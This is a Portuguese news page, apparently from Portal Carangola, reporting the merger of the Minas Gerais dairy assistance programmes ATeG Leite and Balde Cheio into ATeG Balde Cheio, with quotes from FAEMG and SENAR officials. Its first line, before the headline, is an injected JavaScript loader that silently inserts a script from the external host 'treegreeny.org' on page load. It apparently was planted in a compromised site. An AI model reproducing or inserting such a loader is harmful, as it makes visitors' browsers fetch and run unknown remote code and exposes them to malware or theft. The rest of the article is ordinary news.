;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ATeG Leite e Balde Cheio são unificados. - Portal Carangola

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ATeG Leite e Balde Cheio são unificados.

Pecuaristas mineiros têm agora ainda mais robustez na assistência técnica e gerencial para produção de leite. É o que propõe a união entre as duas principais iniciativas do Sistema FAEMG/SENAR/INAES direcionadas para a atividade, o Programa Balde Cheio e o Programa de Assistência Técnica e Gerencial – ATeG Leite. O novo programa passa a se chamar ATeG Balde Cheio.

O nascimento do ATeG Balde Cheio abre oportunidades para criação de novos grupos de produtores. Para 2021, a previsão é atender mais 1.000 pecuaristas. No total, o novo programa beneficiará mais de 5.000 produtores de leite no estado até o final do ano. Todos, a partir de agora, ganham com a solidez da metodologia do SENAR e com mais capacidade técnica na ponta, graças à experiência do Balde Cheio.

 

As equipes já estão trabalhando juntas desde o começo do ano, sendo capacitadas para nivelamento dos procedimentos e para atuar sob a mesma metodologia. Os Sindicatos de Produtores Rurais seguem como entidades de referência para produtores que desejam ingressar no Programa ATeG Balde Cheio.

União que traz produtividade e lucro

Minas Gerais é, historicamente, o maior produtor de leite do Brasil. Para o presidente do Sistema FAEMG, Roberto Simões, a entidade “presta expressiva contribuição para a manutenção e crescimento dessa posição, com a união dos seus dois programas de sucesso, que promovem a modernização e o desenvolvimento dos produtores e de toda cadeia de lácteos mineira, tão importantes para economia do nosso estado”.

Para o 1º vice-presidente de secretaria da FAEMG e membro da Comissão Técnica de Pecuária de Leite da entidade, Rodrigo Alvim, é inegável a necessidade da assistência técnica na otimização da atividade leiteira. Não existe mais espaço para agir de forma empírica. “O Programa Balde Cheio, com a metodologia desenvolvida pela Embrapa Pecuária Sudeste, com o trabalho do professor Artur Chinelato, é uma iniciativa de sucesso incontestável. Essa união certamente trará muito mais robustez, possibilitando que mais produtores possam viabilizar seus negócios”, afirma.

A projeção para o ano de 2030 é um aumento de 30% no consumo brasileiro de leite e derivados em relação ao atual, analisa o superintendente do SENAR MINAS, Christiano Nascif. “Portanto, um programa de assistência técnica e gerencial robusto, consistente e de alta capilaridade como o ATeG Balde Cheio, será de fundamental importância para atender esta demanda. Significa aumento da produção, produtividade, qualidade e rentabilidade para o produtor de leite de Minas Gerais”, reforça.

Investimento intenso em capacitação

A coordenação do ATeG Balde Cheio está a cargo da Gerência de Assistência Técnica e Gerencial do Sistema FAEMG/SENAR/INAES. De acordo com o gerente Bruno Rocha de Melo, foi feito um cronograma intenso de capacitação para técnicos e supervisores, abrangendo todas as competências técnicas e gerenciais desejadas para estes profissionais.

O produtor que já era assistido pelo Programa Balde Cheio continuará contando com a retaguarda do ATeG Balde Cheio, de forma que seu técnico esteja sempre atualizado e apto à prestação do serviço. “Já os novos produtores que ingressarem no Programa se beneficiarão com novas abordagens e tecnologias, com melhores resultados e maior potencial de lucro na sua atividade produtiva. Todos sairão ganhando ao final”, enfatiza.

Assessoria de Comunicação – Faemg <imprensa@faemg.org.br>

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